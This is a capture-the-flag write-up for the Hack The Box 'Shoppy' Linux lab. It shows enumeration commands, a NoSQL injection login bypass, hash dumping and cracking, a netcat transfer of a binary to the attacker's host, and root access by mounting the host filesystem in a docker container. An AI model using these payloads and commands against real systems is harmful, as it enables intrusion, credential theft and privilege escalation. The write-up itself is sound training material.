writeup 2025-12-17 · 7 min read

Hack The Box Shoppy Writeup (Easy Linux)

Easy Linux box. A NoSQL injection dumps the admin hashes, a private Mattermost channel leaks jaeger's SSH password, and the docker group turns deploy into root.

Hack The Box Shoppy Writeup (Easy Linux)

Summary

Shoppy’s login form rejects SQL payloads but reacts oddly to a single quote, and fuzzing a NoSQL wordlist finds that the payload a equals a logs straight in. The admin panel’s user search accepts the same payload and returns every account with its MD5 password hash, one of which hashcat cracks to josh:remembermethisway. Those credentials open the mattermost.shoppy.htb vhost, where a private Deploy Machine channel carries jaeger’s password in the clear and that works over SSH. jaeger may run /home/deploy/password-manager as deploy, and decompiling the binary in Ghidra shows the master password assembled one character at a time as Sample, which prints the deploy credentials. deploy belongs to the docker group, so an alpine container started with the host root mounted at /mnt exposes every file on the box.

Service Enumeration

I ran:

1
nmap -A -vv -oN scans/nmap.initial -vv 10.129.38.154

And these are the results:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0)
| ssh-hostkey: 
|   3072 9e5e8351d99f89ea471a12eb81f922c0 (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDApZi3Kltv1yDHTatw6pKZfuIcoHfTnVe0W1yc9Uw7NMUinxjjQaQ731J+eCTwd8hBcZT6HQwcchDNR50Lwyp2a/KpXuH2my+2/tDvISTRTgwfMy1sDrG3+KPEzBag07m7ycshp8KhrRq0faHPrEgcagkb5T8mnT6zr3YonzoMyIpT+Q1O0JAre6GPgJc9im/tjaqhwUxCH5MxJCKQxaUf2SlGjRCH5/xEkNO20BEUYokjoAWwHUWjK2mlIrBQfd4/lcUzMnc5WT9pVBqQBw+/7LbFRyH4TLmGT9PPEr8D8iygWYpuG7WFOZlU8oOhO0+uBqZFgJFFOevq+42q42BvYYR/z+mFox+Q2lz7viSCV7nBMdcWto6USWLrx1AkVXNGeuRjr3l0r/698sQjDy5v0GnU9cMHeYkMc+TuiIaJJ5oRrSg/x53Xin1UogTnTaKLNdGkgynMqyVFklvdnUngRSLsXnwYNgcDrUhXxsfpDu8HVnzerT3q27679+n5ZFM=
|   256 5857eeeb0650037c8463d7a3415b1ad5 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBHiKrH/B/4murRCo5ju2KuPgkMjQN3Foh7EifMHEOwmoDNjLYBfoAFKgBnrMA9GzA+NGhHVa6L8CAxN3eaGXXMo=
|   256 3e9d0a4290443860b3b62ce9bd9a6754 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBRsWhJQCRHjDkHy3HkFLMZoGqCmM3/VfMHMm56u0Ivk
80/tcp open  http    syn-ack nginx 1.23.1
|_http-server-header: nginx/1.23.1
| http-methods: 
|_  Supported Methods: GET HEAD POST OPTIONS
|_http-title:             Shoppy Wait Page        
|_http-favicon: Unknown favicon MD5: D5F0A0ADD0BFBB2BC51607F78ECE2F57
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Tue Dec 16 20:42:53 2025 -- 1 IP address (1 host up) scanned in 830.11 seconds

Web Server Enumeration

The web server on port 80 directs me to “shoppy.htb” right away, so I add it to my /etc/hosts file:

1
echo 10.129.38.154 shoppy.htb | sudo tee -a /etc/hosts

There’s nothing on the homepage beyond this countdown:

The shoppy.htb home page showing nothing but a countdown

Directory Enumeration

I run feroxbuster against the website to discover valid endpoints:

1
feroxbuster -u http://shoppy.htb/ -w /usr/share/wordlists/SecLists/Discovery/Web-Content/raft-medium-words.txt

It finds a few like:

1
2
3
/login
/admin
/exports

VHost Subdomain Enumeration

I perform a subdomain enumeration with ffuf:

1
ffuf -H "Host: FUZZ.shoppy.htb" -u http://shoppy.htb -w /usr/share/wordlists/SecLists/Discovery/DNS/bitquark-subdomains-top100000.txt -t 100 -fs 169

To discover another valid subdomain: mattermost.shoppy.htb. I add that to my /etc/hosts file. It looks like this now:

1
10.129.38.154 mattermost.shoppy.htb shoppy.htb

Login Bypass: NoSQL Injection

I tried common credentials like admin:admin but couldn’t log in. Then I tried some normal SQL injection auth bypass:

1
ffuf --data 'username=adminFUZZ&password=admin' -u http://shoppy.htb/login -w /usr/share/wordlists/SecLists/Fuzzing/Databases/SQLi/sqli.auth.bypass.txt -t 5 -x http://127.0.0.1:8080 -H 'Content-Type: application/x-www-form-urlencoded'

But it never worked. I notice though how using a single quote (‘) makes the application behave differently (it hangs for a long while, then ultimately returns 502 error / gateway timeout). The application behaves normally with basically any character other than single quotes, even double quotes is fine.

So I tried NoSQL injection instead:

1
ffuf --data 'username=adminFUZZ&password=admin' -u http://shoppy.htb/login -w /usr/share/wordlists/SecLists/Fuzzing/Databases/SQLi/NoSQL.txt -t 5 -H 'Content-Type: application/x-www-form-urlencoded'

As you can see from the screenshot below, one result has a different response size from the rest:

ffuf results where one NoSQL payload returns a different response size from the rest

More specifically:

1
' || 'a'=='a            [Status: 302, Size: 28, Words: 4, Lines: 1, Duration: 205ms]

I use this payload to log in to the application:

The NoSQL injection payload accepted by the shoppy.htb login form

And now I have access to the admin panel at http://shoppy.htb/admin:

The Shoppy admin panel reached after the login bypass

The only functionality in this panel is the “search for users” button at the top right corner of the page. It directs me to http://shoppy.htb/admin/search-users:

The search users page of the admin panel

I search for admin like so: http://shoppy.htb/admin/search-users?username=admin, and it returns a button on the screen that allows me to download the report for the admin user:

The search result for admin offering a downloadable user report

This includes the password hash for admin. I wonder if there are more users on the system though, so I use the same payload from earlier:

1
' || 'a'=='a

In the user input field for this search feature and it gives me more users:

The same search run with the NoSQL payload, returning every user and password hash

More specifically:

1
2
3
4
5
6
7
8
9
10
11
12
[
  {
    "_id": "62db0e93d6d6a999a66ee67a",
    "username": "admin",
    "password": "23c6877d9e2b564ef8b32c3a23de27b2"
  },
  {
    "_id": "62db0e93d6d6a999a66ee67b",
    "username": "josh",
    "password": "6ebcea65320589ca4f2f1ce039975995"
  }
]

I save both password hashes to a file named “hashes.txt”:

1
2
6ebcea65320589ca4f2f1ce039975995
23c6877d9e2b564ef8b32c3a23de27b2

And run hashcat against it:

1
hashcat hashes.txt /usr/share/wordlists/rockyou.txt --force -m 0

After a few seconds I get a hit for:

1
6ebcea65320589ca4f2f1ce039975995:remembermethisway

So with that, new credentials:

1
2
Username: josh
Password: remembermethisway

Initial Access

I can log in to the mattermost instance at http://mattermost.shoppy.htb/login by using the discovered credentials for “josh”:

Logging in to the Mattermost instance as josh

I notice right away there’s a private channel named “Deploy Machine”. I go straight to it, since private channels generally mean more sensitive information. The screenshot below shows a message from “jaeger” to “josh” containing cleartext credentials for a user:

The private Deploy Machine channel where jaeger posts credentials in the clear

More specifically:

1
2
3
4
5
6
7
8
9
jaeger
5:22 AM

Hey @josh,

For the deploy machine, you can create an account with these creds :
username: jaeger
password: Sh0ppyBest@pp!
And deploy on it.

I can log in to the machine via SSH as “jaeger”:

1
2
3
$ ssh jaeger@shoppy.htb

Password: Sh0ppyBest@pp!

Horizontal Privilege Escalation

I notice how my user has sudo privileges:

1
2
3
4
5
6
7
$ sudo -l
Matching Defaults entries for jaeger on shoppy:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User jaeger may run the following commands on shoppy:
    (deploy) /home/deploy/password-manager

I run this binary at /home/deploy/password-manager but it asks for a password:

1
2
3
4
jaeger@shoppy:~$ sudo -u deploy /home/deploy/password-manager
Welcome to Josh password manager!
Please enter your master password: 123123123
Access denied! This incident will be reported !

Not much I can do without a valid password here. Since this is a binary, I thought about maybe there’s a buffer overflow vulnerability. However that’d be the last thing I would go for. The binary could have hardcoded creds, or present other flaws in its source code.

I run “strings” against it, and I can see the text:

1
2
3
4
5
Welcome to Josh password manager!
Please enter your master password: 
Access granted! Here is creds !
cat /home/deploy/creds.txt
Access denied! This incident will be reported !

If I input the correct password, It’ll run “cat” against /home/deploy/creds.txt. Notice how they’re not using an absolute path too.

I did transfer the binary to my attacking machine by first opening a port with netcat on my machine like so:

1
nc -lvnp 1234 > password-manager

And then using nc on the remote machine to transfer it to my machine:

1
nc 10.10.14.57 1234 < /home/deploy/password-manager

With the binary in hands, I fire up gHidra to decompile the source code. When I load the app into gHidra it’ll ask if I want to analyse it. I select all options, and hit “analyse”. After a few seconds, I can see the decompiled main function:

Ghidra's decompiled main function of the password-manager binary

The screenshot above shows the exact code snippet for the main function. We can see it’s comparing my input with an if / else statement. More specifically:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
std::__cxx11::string::operator+=(local_68,"S");
std::__cxx11::string::operator+=(local_68,"a");
std::__cxx11::string::operator+=(local_68,"m");
std::__cxx11::string::operator+=(local_68,"p");
std::__cxx11::string::operator+=(local_68,"l");
std::__cxx11::string::operator+=(local_68,"e");
iVar1 = std::__cxx11::string::compare(local_48);
if (iVar1 != 0) {
   poVar2 = std::operator<<((ostream *)std::cout,"Access denied! This incident will be reported !")
   ;
   std::ostream::operator<<(poVar2,std::endl<>);
}
else {
   poVar2 = std::operator<<((ostream *)std::cout,"Access granted! Here is creds !");
   std::ostream::operator<<(poVar2,std::endl<>);
   system("cat /home/deploy/creds.txt");
}

From the snippet we see the actual password it’s expecting:

1
Sample

So I use that as the master password and it outputs the credentials for the “deploy” user:

The password manager printing the deploy credentials once the master password is given

New credentials:

1
2
Username: deploy
Password: Deploying@pp!

Vertical Privilege Escalation

I know that “deploy” user has membership in the “docker” group:

1
2
$ id 
uid=1001(deploy) gid=1001(deploy) groups=1001(deploy),998(docker)

This is a clear privilege escalation vector. I enumerate the docker environment, looking for valid container images to run with

1
docker image ls

As you can see from the screenshot below, the image “alpine” is available to use. I use this image to create a quick and simple container that mounts the root of the host machine into /mnt:

1
docker run -it -v /:/mnt alpine

It works:

An alpine container started with the host root filesystem mounted atmnt

With that, I can access any files in the Host machine via the mountpoint in the container. This includes /root/root.txt or other sensitive files like /etc/shadow or the root user’s SSH private/public key pairs.

This post is licensed under CC BY 4.0 by the author.